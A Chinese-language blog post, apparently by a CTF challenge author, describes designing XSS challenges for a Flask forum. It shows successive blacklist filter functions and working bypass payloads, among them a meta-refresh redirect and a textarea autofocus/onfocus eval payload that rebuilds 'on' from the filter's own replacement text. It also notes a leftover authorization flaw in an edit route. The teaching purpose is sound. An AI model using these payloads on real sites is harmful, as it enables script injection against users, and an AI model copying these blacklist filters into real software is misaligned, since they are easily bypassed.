之前搞了一个论坛来出 xss 的题目 <del> 本意其实是方便以后搞 SQL 注入的时候可以复用 </del>
不过当时使用 flask 来写的,并且并不是在标签之内的地方,所以现在加 waf 时有有些问题:
首先想到的过滤当然是黑名单,因为这样最不安全,于是有:
def fil(raw): | |
replace={ | |
'script': 'scr_ipt', | |
'href': 'hr_ef', | |
'on': 'o_n', | |
'src': 'sr_c' | |
} | |
for old,new in replace.items(): | |
pattern = re.compile(re.escape(old),re.IGNORECASE) | |
raw =pattern.sub(new,raw) | |
raw = raw.replace('&', '$').replace('\\', '/').replace("%", "%*1") | |
filtered=raw | |
return filtered |
主要是防止了大小写绕过,html 实体,以及使用 unicode 之类的绕过
以及 script,on,src,href 这些较为常见的标签或者属性(的一部分)
最开始的思路其实是希望使用 base64 编码绕过:
<iframe src="data:text/html;base64,payload"> |
但是实际上由于浏览器的同源策略,即使使用 parent 或者 top,跳转也是不生效的。随后为了防止这种情况,单独设置了 CSP:Origin="*"。不过实际上现在的浏览器即使是设置后的,在跳转时依旧会给用户提醒,决定是否跳转。这使得正常情况下 bot 并不会跳转到指定页面。
考虑到各种限制条件,以及我们学习到的绝大多数 xss 漏洞都是基于 php 的,而非 python,尤其还是对这些较为成熟的框架,只有在很特殊的情况下才可能 xss(比如属性注入时 html 中没有加引号,这使得攻击者完全不需要任何会被转义的特殊字符)这不在我们的讨论范围内。
当然由于获取 flag 的条件十分固定,所以即使出成这样依旧可解:
<meta http-equiv=refresh content=0;url=http://www.baidu.com> |
但是这并不是我们的目的
随后极大的降低了难度:
def fil(raw): | |
raw=raw.lower() | |
replace={ | |
'.': '', | |
'script':'scr_ipt', #使用 onerror 等执行 js | |
} | |
for old,new in replace.items(): | |
pattern = re.compile(re.escape(old),re.IGNORECASE) | |
raw =pattern.sub(new,raw) | |
raw = raw.replace('&', '$').replace('\\', '/').replace("%", "%*1") | |
filtered=raw | |
return filtered |
在网上随便看的时候,偶然发现其实浏览器会把 url 中的。自动转为。作为一个简单的绕过。不过这依旧很容易就能从 ai 处得到答案。
没辙,最后只能随便加点东西了,疲了:
def fil(raw): | |
replace={ | |
" ": 'N O?', | |
"href": 'N O!', | |
'on': "Y E S!", | |
'script': 'Y E S?', | |
'src': 'Y E S', | |
'.': 'N O', | |
"+" : "N O.", | |
"-" : "Y E S.", | |
"meta":"YOU CANT DO THAT" | |
} | |
raw=raw.lower() | |
for old,new in replace.items(): | |
pattern = re.compile(re.escape(old)) | |
raw =pattern.sub(new,raw) | |
filtered = raw.replace('&', 'NO').replace('\\', 'YES').replace("%", "???") | |
return filtered |
期望的答案,只是示例,思路类似即可:
<textarea/**/name=.nfocus="a='locatio';eval(`${a}n='https://www。baidu。com'`)"/**/autofocus> |
用过滤时的 N O 接出需要的 on 属性(需要通过随便加一个无关属性吸收掉前面的 N),然后就是简单的空格绕过,以及在属性的内容时可以使用 js 的语法来桡过对 loaction 中 on 的限制,最后输入网址时使用。代替。利用浏览器特性跳转到目标网页。
这道题最后还附赠了个垂直越权,只对 post 路由进行了鉴权,但是仍然可以通过 edit_post 来查看内容(把上一题的 edit_post 的鉴权稍加修改直接搬运过来)